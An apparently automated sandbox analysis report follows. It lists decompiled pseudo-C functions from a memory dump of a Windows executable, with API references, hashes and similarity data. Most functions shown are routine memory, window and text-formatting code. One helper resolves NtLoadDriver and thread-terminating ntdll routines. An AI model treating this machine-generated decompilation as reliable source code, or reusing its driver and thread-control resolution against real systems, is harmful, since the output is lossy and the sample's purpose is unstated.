Opcode ID: 7b5c259927b59544c1da32c87fb64e8a434fc950baf11122839f6010e947eddb
Instruction ID: 1f3882e7c97b8b8272a376ef7761bc0b0e9511dafd47f947fc31f4e13e233f39
Opcode Fuzzy Hash: 7b5c259927b59544c1da32c87fb64e8a434fc950baf11122839f6010e947eddb
Instruction Fuzzy Hash: 53414EB1B01715AFD718DF39C88A75AFBA4FB08314F10422FE519D7691D775A8108BC8

Uniqueness

Uniqueness Score: -1.00%

Function 004097A9, Relevance: 7.6, APIs: 5, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004097A9(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4) {
				int _v8;
				int _v12;
				intOrPtr _v16;
				void* _v20;
				int _v24;
				void _v56;
				char _v584;
				char _v588;
				char _v41548;
				void* __edi;
				void* _t40;
				void _t46;
				intOrPtr _t47;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr _t67;
				intOrPtr _t71;
				int _t77;
				void* _t80;
				void* _t81;
				void* _t82;
				void* _t83;

				E0040B550(0xa248, __ecx);
				_t77 = 0;
				_v8 = 0;
				E00408E31();
				_t40 =  *0x41c47c;
				if(_t40 != 0) {
					_t40 =  *_t40(5,  &_v41548, 0xa000,  &_v8);
				}
				if(_v8 == _t77) {
					_v8 = 0x186a0;
				}
				_v8 = _v8 + 0x3e80;
				_push(_v8);
				L0040B26C();
				_t81 = _t40;
				_v20 = _t81;
				memset(_t81, _t77, _v8);
				_t83 = _t82 + 0x10;
				_v24 = _t77;
				E00408E31();
				E00408F2A(0x41c47c, _t81, _v8,  &_v24);
				L5:
				while(1) {
					if( *((intOrPtr*)(_t81 + 0x3c)) == _t77) {
						L16:
						_t46 =  *_t81;
						_t77 = 0;
						if(_t46 == 0) {
							_push(_v20);
							L0040B272();
							return _t46;
						}
						_t81 = _t81 + _t46;
						continue;
					}
					_t47 = _a4;
					_t71 =  *((intOrPtr*)(_t47 + 0x34));
					_v12 = _t77;
					_v16 = _t71;
					if(_t71 <= _t77) {
						L10:
						_t66 = 0;
						L11:
						if(_t66 == 0) {
							E004090AF( &_v588);
							E00404923(0x104,  &_v584,  *((intOrPtr*)(_t81 + 0x3c)));
							_t32 = _t81 + 0x20; // 0x20
							memcpy( &_v56, _t32, 8);
							_t83 = _t83 + 0x10;
							E004099ED(_a4 + 0x28,  &_v588);
						} else {
							_t26 = _t66 + 4; // 0x4
							_t72 = _t26;
							if( *_t26 == 0) {
								E00404923(0x104, _t72,  *((intOrPtr*)(_t81 + 0x3c)));
								_t28 = _t81 + 0x20; // 0x20
								memcpy(_t66 + 0x214, _t28, 8);
								_t83 = _t83 + 0x10;
							}
						}
						goto L16;
					}
					_t67 =  *((intOrPtr*)(_t81 + 0x44));
					_t80 = _t47 + 0x28;
					while(1) {
						_t64 = E00405A92(_v12, _t80);
						if( *_t64 == _t67) {
							break;
						}
						_v12 = _v12 + 1;
						if(_v12 < _v16) {
							continue;
						}
						goto L10;
					}
					_t66 = _t64;
					goto L11;
				}
			}

0x004097b1
0x004097b9
0x004097bb
0x004097be
0x004097c3
0x004097ca
0x004097de
0x004097de
0x004097e3
0x004097e5
0x004097e5
0x004097ec
0x004097f3
0x004097f6
0x004097fe
0x00409802
0x00409805
0x0040980a
0x0040980d
0x00409810
0x00409822
0x00000000
0x00409827
0x0040982a
0x004098da
0x004098da
0x004098dc
0x004098e0
0x004098e9
0x004098ec
0x004098f6
0x004098f6
0x004098e2
0x00000000
0x004098e2
0x00409830
0x00409833
0x00409838
0x0040983b
0x0040983e
0x0040985f
0x0040985f
0x00409861
0x00409863
0x0040989e
0x004098b1
0x004098b8
0x004098c0
0x004098c5
0x004098d5
0x00409865
0x00409865
0x00409865
0x0040986c
0x00409878
0x0040987f
0x0040988a
0x0040988f
0x0040988f
0x0040986c
0x00000000
0x00409863
0x00409840
0x00409843
0x00409846
0x0040984b
0x00409852
0x00000000
0x00000000
0x00409854
0x0040985d
0x00000000
0x00000000
0x00000000
0x0040985d
0x00409894
0x00000000
0x00409894

APIs

Part of subcall function 00408E31: GetModuleHandleW.KERNEL32(ntdll.dll,?,004097C3), ref: 00408E44
Part of subcall function 00408E31: GetProcAddress.KERNEL32(00000000,NtQuerySystemInformation), ref: 00408E5B
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtLoadDriver), ref: 00408E6D
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtUnloadDriver), ref: 00408E7F
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtOpenSymbolicLinkObject), ref: 00408E91
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtQuerySymbolicLinkObject), ref: 00408EA3
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtQueryObject), ref: 00408EB5
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtOpenThread), ref: 00408EC7
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtClose), ref: 00408ED9
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtQueryInformationThread), ref: 00408EEB
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtSuspendThread), ref: 00408EFD
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtResumeThread), ref: 00408F0F
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtTerminateThread), ref: 00408F21

??2@YAPAXI@Z.MSVCRT ref: 004097F6
memset.MSVCRT ref: 00409805
memcpy.MSVCRT ref: 0040988A
memcpy.MSVCRT ref: 004098C0
??3@YAXPAX@Z.MSVCRT ref: 004098EC

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$memcpy$??2@??3@HandleModulememset
String ID:
API String ID: 3641025914-0
Opcode ID: 5e4299bbf46472c45a4c6d50f6a05ce4ddc252402b4fb65f630eed7603d777c4
Instruction ID: bb54f3dbfe595cb11ae02f9551d523dabe65b88657fa4b418f7fa82d5da08bd9
Opcode Fuzzy Hash: 5e4299bbf46472c45a4c6d50f6a05ce4ddc252402b4fb65f630eed7603d777c4
Instruction Fuzzy Hash: BF41C172900209EFDB10EBA5C8819AEB3B9EF45304F14847FE545B3292DB78AE41CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004067AC, Relevance: 7.6, APIs: 5, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E004067AC(char** __edi) {
				void* __esi;
				void* _t9;
				void** _t11;
				char** _t15;
				char** _t24;
				void* _t25;
				char* _t28;
				char* _t29;
				char* _t30;
				char* _t31;
				char** _t33;

				_t24 = __edi;
				 *__edi = "cf@";
				_t9 = E00406746(__edi);
				_t28 = __edi[5];
				if(_t28 != 0) {
					_t9 = E004055D1(_t9, _t28);
					_push(_t28);
					L0040B272();
				}
				_t29 = _t24[4];
				if(_t29 != 0) {
					_t9 = E004055D1(_t9, _t29);
					_push(_t29);
					L0040B272();
				}
				_t30 = _t24[3];
				if(_t30 != 0) {
					_t9 = E004055D1(_t9, _t30);
					_push(_t30);
					L0040B272();
				}
				_t31 = _t24[2];
				if(_t31 != 0) {
					E004055D1(_t9, _t31);
					_push(_t31);
					L0040B272();
				}
				_t15 = _t24;
				_pop(_t32);
				_push(_t24);
				_t33 = _t15;
				_t25 = 0;
				if(_t33[1] > 0 && _t33[0xd] > 0) {
					do {
						 *((intOrPtr*)( *((intOrPtr*)(E0040664E(_t33, _t25))) + 0xc))();
						_t25 = _t25 + 1;
					} while (_t25 < _t33[0xd]);
				}
				_t11 =  *( *_t33)();
				free( *_t11);
				return _t11;
			}

0x004067ac
0x004067af
0x004067b5
0x004067ba
0x004067bf
0x004067c1
0x004067c6
0x004067c7
0x004067cc
0x004067cd
0x004067d2
0x004067d4
0x004067d9
0x004067da
0x004067df
0x004067e0
0x004067e5
0x004067e7
0x004067ec
0x004067ed
0x004067f2
0x004067f3
0x004067f8
0x004067fa
0x004067ff
0x00406800
0x00406805
0x00406806
0x00406808
0x0040680f
0x00406810
0x00406812
0x00406817
0x0040681e
0x00406828
0x0040682b
0x0040682c
0x0040681e
0x00406835
0x00406839
0x00406841

APIs

Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406752
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406760
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406771
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406788
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406791

??3@YAXPAX@Z.MSVCRT ref: 004067C7
??3@YAXPAX@Z.MSVCRT ref: 004067DA
??3@YAXPAX@Z.MSVCRT ref: 004067ED
??3@YAXPAX@Z.MSVCRT ref: 00406800
free.MSVCRT(00000000), ref: 00406839

Part of subcall function 004055D1: free.MSVCRT(?,00405843,00000000,?,00000000), ref: 004055DA

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$free
String ID:
API String ID: 2241099983-0
Opcode ID: fae72e90abf19a0f598a0744b86edfa2e5e81d8d411ebeda80197a1c121c0671
Instruction ID: 35b4881f8254e3ed5d778deec4dde62c4732b660dc94e1daad4ca6c431b67ac1
Opcode Fuzzy Hash: fae72e90abf19a0f598a0744b86edfa2e5e81d8d411ebeda80197a1c121c0671
Instruction Fuzzy Hash: 4E010233902D209BCA217B2A950541FB395FE82B24316807FE802772C5CF38AC618AED

Uniqueness

Uniqueness Score: -1.00%

Function 00405CF8, Relevance: 7.5, APIs: 5, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405CF8(void* __esi, struct HWND__* _a4, signed int _a8) {
				intOrPtr _v12;
				struct tagPOINT _v20;
				struct tagRECT _v36;
				int _t27;
				struct HWND__* _t30;
				struct HWND__* _t32;

				_t30 = _a4;
				if((_a8 & 0x00000001) != 0) {
					_t32 = GetParent(_t30);
					GetWindowRect(_t30,  &_v20);
					GetClientRect(_t32,  &_v36);
					MapWindowPoints(0, _t32,  &_v20, 2);
					_t27 = _v36.right - _v12 - _v36.left;
					_v20.x = _t27;
					SetWindowPos(_t30, 0, _t27, _v20.y, 0, 0, 5);
				}
				if((_a8 & 0x00000002) != 0) {
					E00404FBB(_t30);
				}
				return 1;
			}

0x00405d03
0x00405d06
0x00405d10
0x00405d17
0x00405d22
0x00405d32
0x00405d40
0x00405d48
0x00405d4e
0x00405d54
0x00405d59
0x00405d5c
0x00405d61
0x00405d67

APIs

GetParent.USER32(?), ref: 00405D0A
GetWindowRect.USER32 ref: 00405D17
GetClientRect.USER32 ref: 00405D22
MapWindowPoints.USER32 ref: 00405D32
SetWindowPos.USER32(?,00000000,?,00000001,00000000,00000000,00000005), ref: 00405D4E

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Rect$ClientParentPoints
String ID:
API String ID: 4247780290-0
Opcode ID: a641cd19a410ed6a125ee0f2f41aa3775212a32dac042a11be58197803c42fc2
Instruction ID: c328b93d85e4c90ccc2b92edbac8192aeb41fc184e748709fb0c9a3f9f2b3a5a
Opcode Fuzzy Hash: a641cd19a410ed6a125ee0f2f41aa3775212a32dac042a11be58197803c42fc2
Instruction Fuzzy Hash: 41012932801029BBDB119BA59D8DEFFBFBCEF46750F04822AF901A2151D73895028BA5

Uniqueness

Uniqueness Score: -1.00%

Function 004083DC, Relevance: 7.5, APIs: 5, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E004083DC(void* __eax, int __ebx, void* _a4) {
				signed int _v8;
				signed int _v12;
				void* _v16;
				void* _t20;
				void* _t21;
				signed int _t28;
				void* _t32;
				void* _t34;

				_t20 = __eax;
				_v12 = _v12 & 0x00000000;
				_push(__ebx);
				_t28 = __eax - 1;
				L0040B26C();
				_v16 = __eax;
				if(_t28 > 0) {
					_t21 = _a4;
					_v8 = __ebx;
					_v8 =  ~_v8;
					_t32 = _t28 * __ebx + _t21;
					_a4 = _t21;
					do {
						memcpy(_v16, _a4, __ebx);
						memcpy(_a4, _t32, __ebx);
						_t20 = memcpy(_t32, _v16, __ebx);
						_a4 = _a4 + __ebx;
						_t32 = _t32 + _v8;
						_t34 = _t34 + 0x24;
						_v12 = _v12 + 1;
						_t28 = _t28 - 1;
					} while (_t28 > _v12);
				}
				_push(_v16);
				L0040B272();
				return _t20;
			}

0x004083dc
0x004083e2
0x004083e9
0x004083ea
0x004083eb
0x004083f3
0x004083f6
0x004083f8
0x00408401
0x00408404
0x00408407
0x00408409
0x0040840c
0x00408413
0x0040841d
0x00408427
0x0040842c
0x0040842f
0x00408432
0x00408435
0x00408438
0x00408439
0x0040843e
0x0040843f
0x00408442
0x0040844a

APIs

??2@YAPAXI@Z.MSVCRT ref: 004083EB
memcpy.MSVCRT ref: 00408413
memcpy.MSVCRT ref: 0040841D
memcpy.MSVCRT ref: 00408427
??3@YAXPAX@Z.MSVCRT ref: 00408442

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$??2@??3@
String ID:
API String ID: 1252195045-0
Opcode ID: ae14ed78cb3b9c7a1656bdd7c9bb9ccf218141e25ab2435f791856beeb738110
Instruction ID: 529a25ebd12540bef40c4bbbf5f662c822a20cdbd1f214c79cf6c3b5efc5d95d
Opcode Fuzzy Hash: ae14ed78cb3b9c7a1656bdd7c9bb9ccf218141e25ab2435f791856beeb738110
Instruction Fuzzy Hash: 61017176C0410CBBCF006F99D8859DEBBB8EF40394F1080BEF80476161D7355E519B98

Uniqueness

Uniqueness Score: -1.00%

Function 00406746, Relevance: 7.5, APIs: 5, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00406746(void* __esi) {
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr _t11;
				intOrPtr* _t18;
				void* _t19;

				_t19 = __esi;
				_t9 =  *((intOrPtr*)(__esi + 0x30));
				if(_t9 != 0) {
					_push(_t9);
					L0040B272();
				}
				_t10 =  *((intOrPtr*)(_t19 + 0x40));
				if(_t10 != 0) {
					_push(_t10);
					L0040B272();
				}
				_t11 =  *((intOrPtr*)(_t19 + 0x2d4));
				if(_t11 != 0) {
					_push(_t11);
					L0040B272();
				}
				_t18 =  *((intOrPtr*)(_t19 + 0x2c0));
				if(_t18 != 0) {
					_t11 =  *_t18;
					if(_t11 != 0) {
						_push(_t11);
						L0040B272();
						 *_t18 = 0;
					}
					_push(_t18);
					L0040B272();
				}
				 *((intOrPtr*)(_t19 + 0x2c0)) = 0;
				 *((intOrPtr*)(_t19 + 0x30)) = 0;
				 *((intOrPtr*)(_t19 + 0x40)) = 0;
				 *((intOrPtr*)(_t19 + 0x2d4)) = 0;
				return _t11;
			}

0x00406746
0x00406746
0x0040674f
0x00406751
0x00406752
0x00406757
0x00406758
0x0040675d
0x0040675f
0x00406760
0x00406765
0x00406766
0x0040676e
0x00406770
0x00406771
0x00406776
0x00406777
0x0040677f
0x00406781
0x00406785
0x00406787
0x00406788
0x0040678e
0x0040678e
0x00406790
0x00406791
0x00406796
0x00406798
0x0040679e
0x004067a1
0x004067a4
0x004067ab

APIs

??3@YAXPAX@Z.MSVCRT ref: 00406752
??3@YAXPAX@Z.MSVCRT ref: 00406760
??3@YAXPAX@Z.MSVCRT ref: 00406771
??3@YAXPAX@Z.MSVCRT ref: 00406788
??3@YAXPAX@Z.MSVCRT ref: 00406791

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 086bdf89973be9db751c02ba5940a011d1fc21caf14060528ff21e4da5d0ecd6
Instruction ID: 2146815d826ad61a6329a34e2799f13692f9223f7a0132405705f454cb51ab02
Opcode Fuzzy Hash: 086bdf89973be9db751c02ba5940a011d1fc21caf14060528ff21e4da5d0ecd6
Instruction Fuzzy Hash: E1F0ECB2504701DBDB24AE7D99C881FA7E9BB05318B65087FF14AE3680C738B850461C

Uniqueness

Uniqueness Score: -1.00%

Function 0040ABA5, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E0040ABA5(intOrPtr __ecx, void* __edi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				struct HDWP__* _v8;
				intOrPtr _v12;
				void* __ebx;
				intOrPtr _t37;
				intOrPtr _t42;
				RECT* _t44;

				_push(__ecx);
				_push(__ecx);
				_t42 = __ecx;
				_v12 = __ecx;
				if(_a4 != 5) {
					if(_a4 != 0xf) {
						if(_a4 == 0x24) {
							_t37 = _a12;
							 *((intOrPtr*)(_t37 + 0x18)) = 0xc8;
							 *((intOrPtr*)(_t37 + 0x1c)) = 0xc8;
						}
					} else {
						E00402EC8(__ecx + 0x378);
					}
				} else {
					_v8 = BeginDeferWindowPos(3);
					_t44 = _t42 + 0x378;
					E00402E22(_t44, _t21, 0x65, 0, 0, 1, 1);
					E00402E22(_t44, _v8, 1, 1, 1, 0, 0);
					E00402E22(_t44, _v8, 2, 1, 1, 0, 0);
					EndDeferWindowPos(_v8);
					InvalidateRect( *(_t44 + 0x10), _t44, 1);
					_t42 = _v12;
				}
				return E00402CED(_t42, _a4, _a8, _a12);
			}

0x0040aba8
0x0040aba9
0x0040abb0
0x0040abb2
0x0040abb5
0x0040ac19
0x0040ac2c
0x0040ac2e
0x0040ac36
0x0040ac39
0x0040ac39
0x0040ac1b
0x0040ac21
0x0040ac21
0x0040abb7
0x0040abcb
0x0040abce
0x0040abd7
0x0040abe6
0x0040abf6
0x0040abfe
0x0040ac09
0x0040ac0f
0x0040ac12
0x0040ac4f

APIs

BeginDeferWindowPos.USER32 ref: 0040ABBA

Part of subcall function 00402E22: GetDlgItem.USER32 ref: 00402E32
Part of subcall function 00402E22: GetClientRect.USER32 ref: 00402E44
Part of subcall function 00402E22: DeferWindowPos.USER32(?,?,00000000,?,?,?,?,00000004), ref: 00402EB4

EndDeferWindowPos.USER32(?), ref: 0040ABFE
InvalidateRect.USER32(?,?,00000001), ref: 0040AC09

Strings

$, xrefs: 0040AC28

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: DeferWindow$Rect$BeginClientInvalidateItem
String ID: $
API String ID: 2498372239-3993045852
Opcode ID: 3646c4f7f2df3bce7363561434de74107494107a1dc9a7f0debf38e758269ced
Instruction ID: c4de0c57513a3fc8bb763215dcca23c205eee760976c5819edcd99f4220bed98
Opcode Fuzzy Hash: 3646c4f7f2df3bce7363561434de74107494107a1dc9a7f0debf38e758269ced
Instruction Fuzzy Hash: 9A11ACB1544208FFEB229F51CD88DAF7A7CEB85788F10403EF8057A280C6758E52DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00403A73, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54
keyboardwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403A73(void* __esi, struct HWND__* _a4, int _a8, int _a12, long _a16) {
				int _t14;

				if(_a8 == 0x100 && _a12 == 0x41) {
					GetKeyState(0xa2);
					if(E00403A60(0xa2) != 0 || E00403A60(0xa3) != 0) {
						if(E00403A60(0xa0) == 0 && E00403A60(0xa1) == 0 && E00403A60(0xa4) == 0) {
							_t14 = E00403A60(0xa5);
							if(_t14 == 0) {
								SendMessageW(_a4, 0xb1, _t14, 0xffffffff);
							}
						}
					}
				}
				return CallWindowProcW( *0x40f2f0, _a4, _a8, _a12, _a16);
			}

0x00403a7d
0x00403a8c
0x00403a9c
0x00403aba
0x00403adf
0x00403ae7
0x00403af4
0x00403af4
0x00403ae7
0x00403aba
0x00403a9c
0x00403b13

APIs

GetKeyState.USER32(000000A2), ref: 00403A8C

Part of subcall function 00403A60: GetKeyState.USER32(?), ref: 00403A64

SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00403AF4
CallWindowProcW.USER32(?,00000100,?,?), ref: 00403B0C

Strings

A, xrefs: 00403A7F

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: State$CallMessageProcSendWindow
String ID: A
API String ID: 3924021322-3554254475
Opcode ID: 7a91954c753d57b62ada695ad1095f0bf88fde31d04a203a00175be824b18610
Instruction ID: 3f4bab65c8f2f559ff61c6136e8e970ba349fdfc906a465d58382778652fa82c
Opcode Fuzzy Hash: 7a91954c753d57b62ada695ad1095f0bf88fde31d04a203a00175be824b18610
Instruction Fuzzy Hash: AC01483130430AAEFF11DFE59D02ADA3A5CAF15327F114036FA96B81D1DBB887506E59

Uniqueness

Uniqueness Score: -1.00%

Function 004034F0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004034F0(void* __ecx, void* __eflags, intOrPtr* _a4) {
				intOrPtr _v20;
				char _v1072;
				void _v3672;
				char _v4496;
				intOrPtr _v4556;
				char _v4560;
				void* __edi;
				void* __esi;
				intOrPtr* _t41;
				void* _t45;

				_t45 = __eflags;
				E0040B550(0x11cc, __ecx);
				E00402923( &_v4560);
				_v4560 = 0x40db44;
				E00406670( &_v4496, _t45);
				_v4496 = 0x40dab0;
				memset( &_v3672, 0, 0x10);
				E0040A909( &_v1072);
				_t41 = _a4;
				_v4556 = 0x71;
				if(E00402CD5( &_v4560,  *((intOrPtr*)(_t41 + 0x10))) != 0) {
					L0040B266();
					 *((intOrPtr*)( *_t41 + 4))(1, _v20, _t41 + 0x5b2c, 0xa);
				}
				_v4496 = 0x40dab0;
				_v4560 = 0x40db44;
				E004067AC( &_v4496);
				return E00402940( &_v4560);
			}

0x004034f0
0x004034f8
0x00403506
0x00403516
0x0040351c
0x00403531
0x00403537
0x00403545
0x0040354a
0x00403556
0x00403567
0x00403575
0x00403583
0x00403583
0x00403586
0x00403592
0x00403598
0x004035ac

APIs

Part of subcall function 00402923: memset.MSVCRT ref: 00402935

Part of subcall function 00406670: ??2@YAPAXI@Z.MSVCRT ref: 004066B9
Part of subcall function 00406670: ??2@YAPAXI@Z.MSVCRT ref: 004066E0
Part of subcall function 00406670: ??2@YAPAXI@Z.MSVCRT ref: 00406701
Part of subcall function 00406670: ??2@YAPAXI@Z.MSVCRT ref: 00406722

memset.MSVCRT ref: 00403537
_ultow.MSVCRT ref: 00403575

Strings

cf@, xrefs: 0040352B
q, xrefs: 00403556

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@$memset$_ultow
String ID: cf@$q
API String ID: 3448780718-2693627795
Opcode ID: 5a770fb105266b5f281bf636f392918a38755f6c8491aba89f246a667f584aac
Instruction ID: aa1ed1bb2df2d11c17fc3d40a8ec787ac421495c908f782690464d4e039b4fd8
Opcode Fuzzy Hash: 5a770fb105266b5f281bf636f392918a38755f6c8491aba89f246a667f584aac
Instruction Fuzzy Hash: 73113079A402186ACB24AB55DC41BCDB7B4AF45304F0084BAEB09771C1D7796E888FD8

Uniqueness

Uniqueness Score: -1.00%

Function 00407E24, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00407E24(intOrPtr* __ecx, intOrPtr _a4) {
				void _v514;
				signed short _v516;
				void _v1026;
				signed short _v1028;
				void* __esi;
				void* _t17;
				intOrPtr* _t26;
				signed short* _t28;

				_v516 = _v516 & 0x00000000;
				_t26 = __ecx;
				memset( &_v514, 0, 0x1fc);
				_v1028 = _v1028 & 0x00000000;
				memset( &_v1026, 0, 0x1fc);
				_t17 =  *((intOrPtr*)( *_t26 + 0x24))();
				_t28 =  &_v516;
				E00407250(_t28, _t17);
				_push(_t28);
				_push(L"</%s>\r\n");
				_push(0xff);
				_push( &_v1028);
				L0040B1EC();
				return E00407343(_t26, _a4,  &_v1028);
			}

0x00407e2d
0x00407e46
0x00407e48
0x00407e4d
0x00407e5f
0x00407e6b
0x00407e6f
0x00407e75
0x00407e7c
0x00407e7d
0x00407e88
0x00407e8d
0x00407e8e
0x00407eaa

APIs

memset.MSVCRT ref: 00407E48
memset.MSVCRT ref: 00407E5F

Part of subcall function 00407250: wcscpy.MSVCRT ref: 00407255
Part of subcall function 00407250: _wcslwr.MSVCRT ref: 00407288

_snwprintf.MSVCRT ref: 00407E8E

Strings

</%s>, xrefs: 00407E7D

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$_snwprintf_wcslwrwcscpy
String ID: </%s>
API String ID: 3400436232-259020660
Opcode ID: 8ed6d9153b8ab756a1282c4525cb1f33682d7d4062ac2741ec7bca21e753fd7d
Instruction ID: 202c728a503fdded71e402cbdefdfedacf6d04e10f6749ebe2a15fa747ba2321
Opcode Fuzzy Hash: 8ed6d9153b8ab756a1282c4525cb1f33682d7d4062ac2741ec7bca21e753fd7d
Instruction Fuzzy Hash: 820186B2D4012966D720A795CC46FEE766CEF44318F0004FABB08F71C2DB78AB458AD8

Uniqueness

Uniqueness Score: -1.00%

Function 00405E0A, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00405E0A(intOrPtr __ecx, void* __eflags, struct HWND__* _a4) {
				void _v8198;
				short _v8200;
				void* _t9;
				void* _t12;
				intOrPtr _t19;
				intOrPtr _t20;

				_t19 = __ecx;
				_t9 = E0040B550(0x2004, __ecx);
				_t20 = _t19;
				if(_t20 == 0) {
					_t20 =  *0x40fe24; // 0x0
				}
				_t25 =  *0x40fb90;
				if( *0x40fb90 != 0) {
					_v8200 = _v8200 & 0x00000000;
					memset( &_v8198, 0, 0x2000);
					_push(_t20);
					_t12 = 5;
					E00405E8D(_t12);
					if(E00405F39(_t19, _t25, L"caption",  &_v8200) != 0) {
						SetWindowTextW(_a4,  &_v8200);
					}
					return EnumChildWindows(_a4, E00405DAC, 0);
				}
				return _t9;
			}

0x00405e0a
0x00405e12
0x00405e18
0x00405e1c
0x00405e1e
0x00405e1e
0x00405e24
0x00405e2c
0x00405e2e
0x00405e44
0x00405e49
0x00405e4c
0x00405e4d
0x00405e68
0x00405e74
0x00405e74
0x00000000
0x00405e84
0x00405e8c

APIs

memset.MSVCRT ref: 00405E44
SetWindowTextW.USER32(?,?), ref: 00405E74
EnumChildWindows.USER32 ref: 00405E84

Strings

caption, xrefs: 00405E59

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

